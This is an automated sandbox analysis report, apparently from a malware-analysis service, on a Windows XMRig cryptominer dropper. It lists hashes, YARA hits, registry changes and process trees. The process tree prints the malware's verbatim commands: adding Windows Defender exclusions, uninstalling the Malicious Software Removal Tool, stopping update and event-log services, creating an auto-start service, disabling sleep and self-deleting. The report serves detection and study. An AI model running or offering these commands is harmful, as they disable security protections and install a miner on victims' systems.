Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
26/10/2024, 00:10
Static task
static1
Behavioral task
behavioral1
Sample
8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe
Resource
win7-20241010-en
General
-
Target
8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe
-
Size
5.5MB
-
MD5
79abce23942e1808d915431903f3b931
-
SHA1
27b696379da377b45f4ed2db19a10d3be0428a2f
-
SHA256
8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f
-
SHA512
34a11323958a8da790dbb5a9fb107addc1fc26aff2b90a3676035bbb827f00537f2b67844fd0e2c87ca10c7ed368144f19fe541171d956cdebc7269c7d50cc38
-
SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 11 IoCs
resource yara_rule behavioral2/memory/1800-62-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-63-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-68-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-69-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-67-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-66-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-65-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-70-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-72-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-74-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/1800-73-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 236 powershell.exe 4916 powershell.exe -
Creates new service(s) 2 TTPs
-
Executes dropped EXE 1 IoCs
pid Process 860 fqwofdtexigy.exe -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 4852 powercfg.exe 1212 powercfg.exe 5008 powercfg.exe 2444 powercfg.exe 1432 powercfg.exe 64 powercfg.exe 2644 powercfg.exe 876 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe File opened for modification C:\Windows\system32\MRT.exe 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 860 set thread context of 2016 860 fqwofdtexigy.exe 152 PID 860 set thread context of 1800 860 fqwofdtexigy.exe 157 -
resource yara_rule behavioral2/memory/1800-57-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-58-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-62-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-63-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-68-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-69-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-67-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-66-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-65-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-61-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-59-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-60-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-70-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-72-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-74-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/1800-73-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3048 sc.exe 100 sc.exe 2184 sc.exe 548 sc.exe 2372 sc.exe 4980 sc.exe 3096 sc.exe 1488 sc.exe 3940 sc.exe 2516 sc.exe 1716 sc.exe 920 sc.exe 4748 sc.exe 3112 sc.exe -
Modifies data under HKEY_USERS 46 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 236 powershell.exe 236 powershell.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 3536 8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe 860 fqwofdtexigy.exe 4916 powershell.exe 4916 powershell.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 860 fqwofdtexigy.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe 1800 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 236 powershell.exe Token: SeShutdownPrivilege 2444 powercfg.exe Token: SeCreatePagefilePrivilege 2444 powercfg.exe Token: SeShutdownPrivilege 1212 powercfg.exe Token: SeCreatePagefilePrivilege 1212 powercfg.exe Token: SeShutdownPrivilege 5008 powercfg.exe Token: SeCreatePagefilePrivilege 5008 powercfg.exe Token: SeShutdownPrivilege 1432 powercfg.exe Token: SeCreatePagefilePrivilege 1432 powercfg.exe Token: SeDebugPrivilege 4916 powershell.exe Token: SeShutdownPrivilege 2644 powercfg.exe Token: SeCreatePagefilePrivilege 2644 powercfg.exe Token: SeShutdownPrivilege 876 powercfg.exe Token: SeCreatePagefilePrivilege 876 powercfg.exe Token: SeShutdownPrivilege 64 powercfg.exe Token: SeCreatePagefilePrivilege 64 powercfg.exe Token: SeShutdownPrivilege 4852 powercfg.exe Token: SeCreatePagefilePrivilege 4852 powercfg.exe Token: SeLockMemoryPrivilege 1800 nslookup.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2924 wrote to memory of 1436 2924 cmd.exe 104 PID 2924 wrote to memory of 1436 2924 cmd.exe 104 PID 4348 wrote to memory of 4376 4348 cmd.exe 131 PID 4348 wrote to memory of 4376 4348 cmd.exe 131 PID 4468 wrote to memory of 4068 4468 cmd.exe 140 PID 4468 wrote to memory of 4068 4468 cmd.exe 140 PID 860 wrote to memory of 2016 860 fqwofdtexigy.exe 152 PID 860 wrote to memory of 2016 860 fqwofdtexigy.exe 152 PID 860 wrote to memory of 2016 860 fqwofdtexigy.exe 152 PID 860 wrote to memory of 2016 860 fqwofdtexigy.exe 152 PID 860 wrote to memory of 2016 860 fqwofdtexigy.exe 152 PID 860 wrote to memory of 2016 860 fqwofdtexigy.exe 152 PID 860 wrote to memory of 2016 860 fqwofdtexigy.exe 152 PID 860 wrote to memory of 2016 860 fqwofdtexigy.exe 152 PID 860 wrote to memory of 2016 860 fqwofdtexigy.exe 152 PID 860 wrote to memory of 1800 860 fqwofdtexigy.exe 157 PID 860 wrote to memory of 1800 860 fqwofdtexigy.exe 157 PID 860 wrote to memory of 1800 860 fqwofdtexigy.exe 157 PID 860 wrote to memory of 1800 860 fqwofdtexigy.exe 157 PID 860 wrote to memory of 1800 860 fqwofdtexigy.exe 157
Processes
-
C:\Users\Admin\AppData\Local\Temp\8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe"C:\Users\Admin\AppData\Local\Temp\8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3536 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:1436
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:3096
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1488
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:3048
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:100
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2372
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1212
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1432
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2444
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5008
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:4748
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:3112
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2184
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4348 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4376
-
-
-
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4916
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:4468 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:4068
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:3940
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2516
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1716
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:920
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:4980
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:64
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2644
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:876
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4852
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2016
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1800
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.5MB
MD579abce23942e1808d915431903f3b931
SHA127b696379da377b45f4ed2db19a10d3be0428a2f
SHA2568fc444a3c5959cd63ace3ba0daf4b90ec70b69a26e4b461ae821c5ee14080f8f
SHA51234a11323958a8da790dbb5a9fb107addc1fc26aff2b90a3676035bbb827f00537f2b67844fd0e2c87ca10c7ed368144f19fe541171d956cdebc7269c7d50cc38
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82